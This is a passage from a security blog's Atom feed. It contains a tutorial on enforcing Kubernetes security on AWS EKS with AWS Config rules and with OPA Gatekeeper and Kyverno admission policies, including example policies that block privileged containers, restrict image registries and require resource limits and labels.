<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://red-team.sh/feed.xml" rel="self" type="application/atom+xml" /><link href="https://red-team.sh/" rel="alternate" type="text/html" /><updated>2026-03-17T07:16:00-07:00</updated><id>https://red-team.sh/feed.xml</id><title type="html">red-team.sh</title><subtitle>We are dedicated to helping organizations of all sizes improve their security posture. Our team of experienced security professionals shares knowledge through our DevSecOps blog covering AWS security, threat detection, and defensive security practices.</subtitle><author><name>Jon (JR) Price</name></author><entry><title type="html">Policy-as-Code on AWS: OPA and Kyverno for Kubernetes Security</title><link href="https://red-team.sh/posts/policy-as-code-opa-kyverno-eks-security/" rel="alternate" type="text/html" title="Policy-as-Code on AWS: OPA and Kyverno for Kubernetes Security" /><published>2026-03-11T09:00:00-07:00</published><updated>2026-03-11T09:00:00-07:00</updated><id>https://red-team.sh/posts/policy-as-code-opa-kyverno-eks-security</id><content type="html" xml:base="https://red-team.sh/posts/policy-as-code-opa-kyverno-eks-security/"><![CDATA[<p><img src="/assets/img/policy-as-code-opa-kyverno-eks.png" alt="Policy-as-Code on AWS" class="shadow" w="800" />
<em>EKS admission control flow with OPA Gatekeeper, Kyverno, and AWS Config governance</em></p>

<h2 id="introduction">Introduction</h2>

<p>Kubernetes misconfigurations remain the single largest source of security incidents in containerized environments. Over 50% of organizations cite misconfigurations as the leading cause of Kubernetes security incidents, according to the Red Hat State of Kubernetes Security Report. Ninety percent of organizations experienced at least one Kubernetes security incident in the past twelve months, and new clusters face their first attack attempt within 18 minutes of deployment. Meanwhile, 82% of cloud misconfigurations are caused by human error, not software flaws.</p>

<p>Manual configuration reviews do not scale. Runbooks get stale. Tribal knowledge walks out the door when engineers change teams. The answer is <strong>policy-as-code</strong>: machine-enforceable rules that live in Git, run through CI/CD, and block non-compliant resources before they ever reach your cluster.</p>

<h3 id="current-landscape-statistics">Current Landscape Statistics</h3>

<ul>
  <li><strong>Misconfiguration Dominance</strong>: 50%+ of Kubernetes security incidents trace back to misconfigurations and exposures</li>
  <li><strong>Human Error</strong>: 82% of cloud misconfigurations stem from human error, making manual reviews inherently unreliable</li>
  <li><strong>Attack Velocity</strong>: Container-based lateral movement attacks increased 34% in 2025, targeting misconfigured workloads</li>
  <li><strong>Legacy Risk</strong>: 81% of EKS clusters still rely on deprecated CONFIG_MAP authentication, a risk that automated policy could eliminate</li>
  <li><strong>Production Impact</strong>: Real-world policy-as-code implementations report an 80% reduction in policy violations detected pre-merge</li>
</ul>

<p>This article walks through the AWS-native approach first with AWS Config managed rules for EKS, then shows how open-source policy engines – OPA Gatekeeper and Kyverno – deliver portable, version-controlled enforcement across any Kubernetes cluster, not just EKS.</p>

<h2 id="why-policy-as-code-matters">Why Policy-as-Code Matters</h2>

<p>Traditional security governance relies on documentation, training, and periodic audits. This model breaks down in Kubernetes environments where dozens of engineers push hundreds of deployments per day across multiple clusters.</p>

<p>Policy-as-code shifts enforcement from <strong>reactive</strong> (find violations after deployment) to <strong>proactive</strong> (block violations before admission). The key benefits include:</p>

<p><strong>Version Control and Auditability</strong>
Every policy change goes through pull request review, just like application code. You get a complete audit trail of who approved what rule and when it took effect. Compliance teams can point auditors at a Git repository instead of assembling spreadsheets.</p>

<p><strong>Automated Enforcement</strong>
Policies execute as Kubernetes admission controllers. When a developer runs <code class="language-plaintext highlighter-rouge">kubectl apply</code>, the API server sends the resource to your policy engine, which evaluates it against your rules and returns an allow or deny decision in milliseconds. No human in the loop, no delay, no exceptions unless you explicitly grant them.</p>

<p><strong>Portability Across Clusters and Clouds</strong>
OSS policy engines work on any conformant Kubernetes cluster: EKS, GKE, AKS, on-premises k3s, or bare-metal kubeadm. Your security posture travels with your workloads. AWS Config, by contrast, operates at the infrastructure layer and evaluates EKS cluster configuration, not the workloads running inside it.</p>

<p><strong>Shift Left Testing</strong>
Policy rules can run in CI before manifests ever reach a cluster. Tools like <code class="language-plaintext highlighter-rouge">conftest</code> evaluate Rego policies against YAML files in a pipeline step, catching violations at pull request time rather than deploy time.</p>

<h2 id="aws-config-for-eks-what-it-covers-and-where-it-falls-short">AWS Config for EKS: What It Covers and Where It Falls Short</h2>

<p>AWS Config provides managed rules that evaluate the configuration of your AWS resources, including EKS clusters. It operates at the AWS API layer, examining cluster-level settings.</p>

<h3 id="what-aws-config-covers">What AWS Config Covers</h3>

<p>AWS Config evaluates EKS infrastructure configuration with managed rules like:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="rouge-code"><pre><span class="c"># Example AWS Config managed rules for EKS</span>
aws configservice put-config-rule <span class="nt">--config-rule</span> <span class="s1">'{
  "ConfigRuleName": "eks-cluster-supported-version",
  "Source": {
    "Owner": "AWS",
    "SourceIdentifier": "EKS_CLUSTER_SUPPORTED_VERSION"
  },
  "InputParameters": "{\"oldestVersionSupported\":\"1.28\"}"
}'</span>

<span class="c"># Check EKS endpoint public access</span>
aws configservice put-config-rule <span class="nt">--config-rule</span> <span class="s1">'{
  "ConfigRuleName": "eks-endpoint-no-public-access",
  "Source": {
    "Owner": "AWS",
    "SourceIdentifier": "EKS_ENDPOINT_NO_PUBLIC_ACCESS"
  }
}'</span>

<span class="c"># Ensure EKS cluster logging is enabled</span>
aws configservice put-config-rule <span class="nt">--config-rule</span> <span class="s1">'{
  "ConfigRuleName": "eks-cluster-logging-enabled",
  "Source": {
    "Owner": "AWS",
    "SourceIdentifier": "EKS_CLUSTER_LOGGING_ENABLED"
  }
}'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Key EKS-focused AWS Config managed rules include:</p>

<ul>
  <li><strong>eks-cluster-supported-version</strong>: Flags clusters running unsupported Kubernetes versions</li>
  <li><strong>eks-endpoint-no-public-access</strong>: Checks whether the EKS API endpoint is publicly accessible</li>
  <li><strong>eks-cluster-logging-enabled</strong>: Verifies audit and API server logging is active</li>
  <li><strong>eks-secrets-encrypted</strong>: Confirms envelope encryption is enabled for Kubernetes Secrets</li>
</ul>

<p>AWS Config also integrates with Security Hub for centralized findings and supports conformance packs that bundle multiple rules into a compliance framework.</p>

<h3 id="where-aws-config-falls-short">Where AWS Config Falls Short</h3>

<p>AWS Config operates at the <strong>infrastructure layer</strong>. It can tell you whether your EKS cluster has logging enabled, but it cannot tell you:</p>

<ul>
  <li>Whether a Pod is running as root inside that cluster</li>
  <li>Whether a Deployment is pulling images from an unapproved registry</li>
  <li>Whether a container is requesting 32 GiB of RAM with no resource limits</li>
  <li>Whether a namespace is missing required labels for cost allocation</li>
  <li>Whether a service account has been granted <code class="language-plaintext highlighter-rouge">cluster-admin</code> privileges</li>
</ul>

<p>For workload-level governance, you need admission controllers running inside the cluster. This is where OPA Gatekeeper and Kyverno step in.</p>

<h2 id="opa-gatekeeper-deep-dive">OPA Gatekeeper Deep Dive</h2>

<p>The <a href="https://www.openpolicyagent.org/">Open Policy Agent</a> is a CNCF-graduated general-purpose policy engine. OPA Gatekeeper is its Kubernetes-native integration that acts as a validating admission webhook.</p>

<h3 id="architecture">Architecture</h3>

<p>Gatekeeper consists of three main components:</p>

<ol>
  <li><strong>Gatekeeper Controller Manager</strong>: Runs as a Deployment in the <code class="language-plaintext highlighter-rouge">gatekeeper-system</code> namespace. It watches for ConstraintTemplate and Constraint custom resources.</li>
  <li><strong>Validating Admission Webhook</strong>: Intercepts API server requests and evaluates them against loaded policies written in Rego.</li>
  <li><strong>Audit Controller</strong>: Periodically scans existing resources for compliance with constraints, catching pre-existing violations.</li>
</ol>

<h3 id="deploying-gatekeeper-on-eks">Deploying Gatekeeper on EKS</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="c"># Add the Gatekeeper Helm repository</span>
helm repo add gatekeeper https://open-policy-agent.github.io/gatekeeper/charts
helm repo update

<span class="c"># Install Gatekeeper into your EKS cluster</span>
helm <span class="nb">install </span>gatekeeper gatekeeper/gatekeeper <span class="se">\</span>
  <span class="nt">--namespace</span> gatekeeper-system <span class="se">\</span>
  <span class="nt">--create-namespace</span> <span class="se">\</span>
  <span class="nt">--set</span> <span class="nv">replicas</span><span class="o">=</span>3 <span class="se">\</span>
  <span class="nt">--set</span> audit.replicas<span class="o">=</span>1 <span class="se">\</span>
  <span class="nt">--set</span> audit.logLevel<span class="o">=</span>INFO <span class="se">\</span>
  <span class="nt">--set</span> controllerManager.logLevel<span class="o">=</span>INFO
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="writing-rego-policies-constrainttemplates-and-constraints">Writing Rego Policies: ConstraintTemplates and Constraints</h3>

<p>Gatekeeper uses a two-layer model. A <strong>ConstraintTemplate</strong> defines the policy logic in Rego. A <strong>Constraint</strong> applies that template to specific resources with parameters.</p>

<p><strong>Example: Block Privileged Containers</strong></p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
</pre></td><td class="rouge-code"><pre><span class="c1"># ConstraintTemplate: defines the Rego logic</span>
<span class="na">apiVersion</span><span class="pi">:</span> <span class="s">templates.gatekeeper.sh/v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">ConstraintTemplate</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">k8spspprivilegedcontainer</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">crd</span><span class="pi">:</span>
    <span class="na">spec</span><span class="pi">:</span>
      <span class="na">names</span><span class="pi">:</span>
        <span class="na">kind</span><span class="pi">:</span> <span class="s">K8sPSPPrivilegedContainer</span>
  <span class="na">targets</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">target</span><span class="pi">:</span> <span class="s">admission.k8s.gatekeeper.sh</span>
      <span class="na">rego</span><span class="pi">:</span> <span class="pi">|</span>
        <span class="s">package k8spspprivilegedcontainer</span>

        <span class="s">violation[{"msg": msg}] {</span>
          <span class="s">container := input.review.object.spec.containers[_]</span>
          <span class="s">container.securityContext.privileged == true</span>
          <span class="s">msg := sprintf("Privileged container is not allowed: %v", [container.name])</span>
        <span class="s">}</span>

        <span class="s">violation[{"msg": msg}] {</span>
          <span class="s">container := input.review.object.spec.initContainers[_]</span>
          <span class="s">container.securityContext.privileged == true</span>
          <span class="s">msg := sprintf("Privileged init container is not allowed: %v", [container.name])</span>
        <span class="s">}</span>
<span class="s">---</span>
<span class="c1"># Constraint: applies the template to all Pods</span>
<span class="na">apiVersion</span><span class="pi">:</span> <span class="s">constraints.gatekeeper.sh/v1beta1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">K8sPSPPrivilegedContainer</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">deny-privileged-containers</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">match</span><span class="pi">:</span>
    <span class="na">kinds</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">apiGroups</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">"</span><span class="pi">]</span>
        <span class="na">kinds</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">Pod"</span><span class="pi">]</span>
    <span class="na">excludedNamespaces</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">kube-system</span>
      <span class="pi">-</span> <span class="s">gatekeeper-system</span>
  <span class="na">enforcementAction</span><span class="pi">:</span> <span class="s">deny</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Example: Restrict Image Registries</strong></p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
</pre></td><td class="rouge-code"><pre><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">templates.gatekeeper.sh/v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">ConstraintTemplate</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">k8sallowedrepos</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">crd</span><span class="pi">:</span>
    <span class="na">spec</span><span class="pi">:</span>
      <span class="na">names</span><span class="pi">:</span>
        <span class="na">kind</span><span class="pi">:</span> <span class="s">K8sAllowedRepos</span>
      <span class="na">validation</span><span class="pi">:</span>
        <span class="na">openAPIV3Schema</span><span class="pi">:</span>
          <span class="na">type</span><span class="pi">:</span> <span class="s">object</span>
          <span class="na">properties</span><span class="pi">:</span>
            <span class="na">repos</span><span class="pi">:</span>
              <span class="na">type</span><span class="pi">:</span> <span class="s">array</span>
              <span class="na">items</span><span class="pi">:</span>
                <span class="na">type</span><span class="pi">:</span> <span class="s">string</span>
  <span class="na">targets</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">target</span><span class="pi">:</span> <span class="s">admission.k8s.gatekeeper.sh</span>
      <span class="na">rego</span><span class="pi">:</span> <span class="pi">|</span>
        <span class="s">package k8sallowedrepos</span>

        <span class="s">violation[{"msg": msg}] {</span>
          <span class="s">container := input.review.object.spec.containers[_]</span>
          <span class="s">not startswith(container.image, input.parameters.repos[_])</span>
          <span class="s">msg := sprintf(</span>
            <span class="s">"Container &lt;%v&gt; image &lt;%v&gt; not from an allowed registry. Allowed: %v",</span>
            <span class="s">[container.name, container.image, input.parameters.repos]</span>
          <span class="s">)</span>
        <span class="s">}</span>
<span class="s">---</span>
<span class="na">apiVersion</span><span class="pi">:</span> <span class="s">constraints.gatekeeper.sh/v1beta1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">K8sAllowedRepos</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">require-approved-registries</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">match</span><span class="pi">:</span>
    <span class="na">kinds</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">apiGroups</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">"</span><span class="pi">]</span>
        <span class="na">kinds</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">Pod"</span><span class="pi">]</span>
  <span class="na">parameters</span><span class="pi">:</span>
    <span class="na">repos</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">123456789012.dkr.ecr.us-east-1.amazonaws.com/"</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">123456789012.dkr.ecr.us-west-2.amazonaws.com/"</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">public.ecr.aws/"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="gatekeeper-v322-validatingadmissionpolicy-integration">Gatekeeper v3.22: ValidatingAdmissionPolicy Integration</h3>

<p>As of Gatekeeper v3.22 (February 2026), the <code class="language-plaintext highlighter-rouge">sync-vap-enforcement-scope</code> flag defaults to true, unifying the ValidatingAdmissionPolicy enforcement surface with ConstraintTemplates. This means Gatekeeper now aligns with the upstream Kubernetes ValidatingAdmissionPolicy API, giving you a migration path toward native Kubernetes policy primitives while retaining the power of Rego for complex logic.</p>

<h2 id="kyverno-deep-dive">Kyverno Deep Dive</h2>

<p><a href="https://kyverno.io/">Kyverno</a> is a CNCF-graduated Kubernetes-native policy engine designed specifically for Kubernetes. Its defining feature: policies are written in YAML, not a custom language. If you can write a Kubernetes manifest, you can write a Kyverno policy.</p>

<h3 id="architecture-1">Architecture</h3>

<p>Kyverno operates as a dynamic admission controller with these components:</p>

<ol>
  <li><strong>Admission Webhook</strong>: Intercepts API server requests for validation, mutation, and generation</li>
  <li><strong>Background Controller</strong>: Scans existing resources for compliance and applies generate/mutate rules to existing resources</li>
  <li><strong>Reports Controller</strong>: Generates PolicyReport and ClusterPolicyReport custom resources for audit visibility</li>
</ol>

<h3 id="deploying-kyverno-on-eks">Deploying Kyverno on EKS</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="c"># Add the Kyverno Helm repository</span>
helm repo add kyverno https://kyverno.github.io/kyverno/
helm repo update

<span class="c"># Install Kyverno into your EKS cluster</span>
helm <span class="nb">install </span>kyverno kyverno/kyverno <span class="se">\</span>
  <span class="nt">--namespace</span> kyverno <span class="se">\</span>
  <span class="nt">--create-namespace</span> <span class="se">\</span>
  <span class="nt">--set</span> <span class="nv">replicaCount</span><span class="o">=</span>3 <span class="se">\</span>
  <span class="nt">--set</span> backgroundController.replicas<span class="o">=</span>2 <span class="se">\</span>
  <span class="nt">--set</span> cleanupController.replicas<span class="o">=</span>2 <span class="se">\</span>
  <span class="nt">--set</span> reportsController.replicas<span class="o">=</span>2
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="kyverno-117-cel-based-policies-go-stable">Kyverno 1.17: CEL-Based Policies Go Stable</h3>

<p>Kyverno 1.17, released in February 2026, promotes the Common Expression Language (CEL) policy engine from beta to v1. CEL policies align with upstream Kubernetes ValidatingAdmissionPolicies and MutatingAdmissionPolicies, offering improved evaluation performance and a more familiar syntax for teams already using Kubernetes expressions.</p>

<p>Key 1.17 features include:</p>

<ul>
  <li><strong>Namespaced mutation and generation</strong>: Namespace owners can define their own policies without cluster-wide permissions, enabling true multi-tenancy</li>
  <li><strong>Expanded function libraries</strong>: Complex logic in CEL without falling back to JMESPath</li>
  <li><strong>Cosign v3 support</strong>: Enhanced supply chain security for image signature verification</li>
</ul>

<h3 id="writing-kyverno-policies">Writing Kyverno Policies</h3>

<p>Kyverno policies use familiar Kubernetes YAML syntax with <code class="language-plaintext highlighter-rouge">match</code>, <code class="language-plaintext highlighter-rouge">exclude</code>, and rule definitions.</p>

<p><strong>Example: Block Privileged Containers</strong></p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
</pre></td><td class="rouge-code"><pre><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">kyverno.io/v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">ClusterPolicy</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">disallow-privileged-containers</span>
  <span class="na">annotations</span><span class="pi">:</span>
    <span class="na">policies.kyverno.io/title</span><span class="pi">:</span> <span class="s">Disallow Privileged Containers</span>
    <span class="na">policies.kyverno.io/category</span><span class="pi">:</span> <span class="s">Pod Security Standards (Baseline)</span>
    <span class="na">policies.kyverno.io/severity</span><span class="pi">:</span> <span class="s">high</span>
    <span class="na">policies.kyverno.io/description</span><span class="pi">:</span> <span class="pi">&gt;-</span>
      <span class="s">Privileged mode disables most security mechanisms and must not be allowed.</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">validationFailureAction</span><span class="pi">:</span> <span class="s">Enforce</span>
  <span class="na">background</span><span class="pi">:</span> <span class="kc">true</span>
  <span class="na">rules</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">deny-privileged</span>
      <span class="na">match</span><span class="pi">:</span>
        <span class="na">any</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">resources</span><span class="pi">:</span>
              <span class="na">kinds</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="s">Pod</span>
      <span class="na">exclude</span><span class="pi">:</span>
        <span class="na">any</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">resources</span><span class="pi">:</span>
              <span class="na">namespaces</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="s">kube-system</span>
                <span class="pi">-</span> <span class="s">kyverno</span>
      <span class="na">validate</span><span class="pi">:</span>
        <span class="na">message</span><span class="pi">:</span> <span class="s2">"</span><span class="s">Privileged</span><span class="nv"> </span><span class="s">containers</span><span class="nv"> </span><span class="s">are</span><span class="nv"> </span><span class="s">not</span><span class="nv"> </span><span class="s">allowed."</span>
        <span class="na">pattern</span><span class="pi">:</span>
          <span class="na">spec</span><span class="pi">:</span>
            <span class="na">containers</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">=(securityContext)</span><span class="pi">:</span>
                  <span class="na">=(privileged)</span><span class="pi">:</span> <span class="kc">false</span>
            <span class="na">=(initContainers)</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">=(securityContext)</span><span class="pi">:</span>
                  <span class="na">=(privileged)</span><span class="pi">:</span> <span class="kc">false</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Example: Enforce Resource Limits</strong></p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="rouge-code"><pre><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">kyverno.io/v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">ClusterPolicy</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">require-resource-limits</span>
  <span class="na">annotations</span><span class="pi">:</span>
    <span class="na">policies.kyverno.io/title</span><span class="pi">:</span> <span class="s">Require Resource Limits</span>
    <span class="na">policies.kyverno.io/category</span><span class="pi">:</span> <span class="s">Best Practices</span>
    <span class="na">policies.kyverno.io/severity</span><span class="pi">:</span> <span class="s">medium</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">validationFailureAction</span><span class="pi">:</span> <span class="s">Enforce</span>
  <span class="na">background</span><span class="pi">:</span> <span class="kc">true</span>
  <span class="na">rules</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">require-limits</span>
      <span class="na">match</span><span class="pi">:</span>
        <span class="na">any</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">resources</span><span class="pi">:</span>
              <span class="na">kinds</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="s">Pod</span>
      <span class="na">validate</span><span class="pi">:</span>
        <span class="na">message</span><span class="pi">:</span> <span class="s2">"</span><span class="s">All</span><span class="nv"> </span><span class="s">containers</span><span class="nv"> </span><span class="s">must</span><span class="nv"> </span><span class="s">have</span><span class="nv"> </span><span class="s">CPU</span><span class="nv"> </span><span class="s">and</span><span class="nv"> </span><span class="s">memory</span><span class="nv"> </span><span class="s">limits</span><span class="nv"> </span><span class="s">defined."</span>
        <span class="na">pattern</span><span class="pi">:</span>
          <span class="na">spec</span><span class="pi">:</span>
            <span class="na">containers</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">resources</span><span class="pi">:</span>
                  <span class="na">limits</span><span class="pi">:</span>
                    <span class="na">memory</span><span class="pi">:</span> <span class="s2">"</span><span class="s">?*"</span>
                    <span class="na">cpu</span><span class="pi">:</span> <span class="s2">"</span><span class="s">?*"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Example: Require Labels</strong></p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
</pre></td><td class="rouge-code"><pre><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">kyverno.io/v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">ClusterPolicy</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">require-labels</span>
  <span class="na">annotations</span><span class="pi">:</span>
    <span class="na">policies.kyverno.io/title</span><span class="pi">:</span> <span class="s">Require Labels</span>
    <span class="na">policies.kyverno.io/category</span><span class="pi">:</span> <span class="s">Best Practices</span>
    <span class="na">policies.kyverno.io/severity</span><span class="pi">:</span> <span class="s">medium</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">validationFailureAction</span><span class="pi">:</span> <span class="s">Enforce</span>
  <span class="na">background</span><span class="pi">:</span> <span class="kc">true</span>
  <span class="na">rules</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">require-team-label</span>
      <span class="na">match</span><span class="pi">:</span>
        <span class="na">any</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">resources</span><span class="pi">:</span>
              <span class="na">kinds</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="s">Deployment</span>
                <span class="pi">-</span> <span class="s">StatefulSet</span>
                <span class="pi">-</span> <span class="s">DaemonSet</span>
      <span class="na">validate</span><span class="pi">:</span>
        <span class="na">message</span><span class="pi">:</span> <span class="s2">"</span><span class="s">The</span><span class="nv"> </span><span class="s">label</span><span class="nv"> </span><span class="s">'app.kubernetes.io/managed-by'</span><span class="nv"> </span><span class="s">is</span><span class="nv"> </span><span class="s">required."</span>
        <span class="na">pattern</span><span class="pi">:</span>
          <span class="na">metadata</span><span class="pi">:</span>
            <span class="na">labels</span><span class="pi">:</span>
              <span class="na">app.kubernetes.io/managed-by</span><span class="pi">:</span> <span class="s2">"</span><span class="s">?*"</span>
    <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">require-cost-center</span>
      <span class="na">match</span><span class="pi">:</span>
        <span class="na">any</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">resources</span><span class="pi">:</span>
              <span class="na">kinds</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="s">Namespace</span>
      <span class="na">validate</span><span class="pi">:</span>
        <span class="na">message</span><span class="pi">:</span> <span class="s2">"</span><span class="s">Namespaces</span><span class="nv"> </span><span class="s">must</span><span class="nv"> </span><span class="s">have</span><span class="nv"> </span><span class="s">a</span><span class="nv"> </span><span class="s">'cost-center'</span><span class="nv"> </span><span class="s">label</span><span class="nv"> </span><span class="s">for</span><span class="nv"> </span><span class="s">billing."</span>
        <span class="na">pattern</span><span class="pi">:</span>
          <span class="na">metadata</span><span class="pi">:</span>
            <span class="na">labels</span><span class="pi">:</span>
              <span class="na">cost-center</span><span class="pi">:</span> <span class="s2">"</span><span class="s">?*"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Example: Restrict Image Registries</strong></p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
</pre></td><td class="rouge-code"><pre><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">kyverno.io/v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">ClusterPolicy</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">restrict-image-registries</span>
  <span class="na">annotations</span><span class="pi">:</span>
    <span class="na">policies.kyverno.io/title</span><span class="pi">:</span> <span class="s">Restrict Image Registries</span>
    <span class="na">policies.kyverno.io/category</span><span class="pi">:</span> <span class="s">Supply Chain Security</span>
    <span class="na">policies.kyverno.io/severity</span><span class="pi">:</span> <span class="s">high</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">validationFailureAction</span><span class="pi">:</span> <span class="s">Enforce</span>
  <span class="na">background</span><span class="pi">:</span> <span class="kc">true</span>
  <span class="na">rules</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">validate-registries</span>
      <span class="na">match</span><span class="pi">:</span>
        <span class="na">any</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">resources</span><span class="pi">:</span>
              <span class="na">kinds</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="s">Pod</span>
      <span class="na">validate</span><span class="pi">:</span>
        <span class="na">message</span><span class="pi">:</span> <span class="pi">&gt;-</span>
          <span class="s">Images must come from an approved ECR registry.</span>
          <span class="s">Allowed: 123456789012.dkr.ecr.*.amazonaws.com, public.ecr.aws</span>
        <span class="na">foreach</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">list</span><span class="pi">:</span> <span class="s2">"</span><span class="s">request.object.spec.containers"</span>
            <span class="na">deny</span><span class="pi">:</span>
              <span class="na">conditions</span><span class="pi">:</span>
                <span class="na">all</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="na">key</span><span class="pi">:</span> <span class="s2">"</span><span class="s">"</span>
                    <span class="na">operator</span><span class="pi">:</span> <span class="s">NotEquals</span>
                    <span class="na">value</span><span class="pi">:</span> <span class="s2">"</span><span class="s">123456789012.dkr.ecr.*"</span>
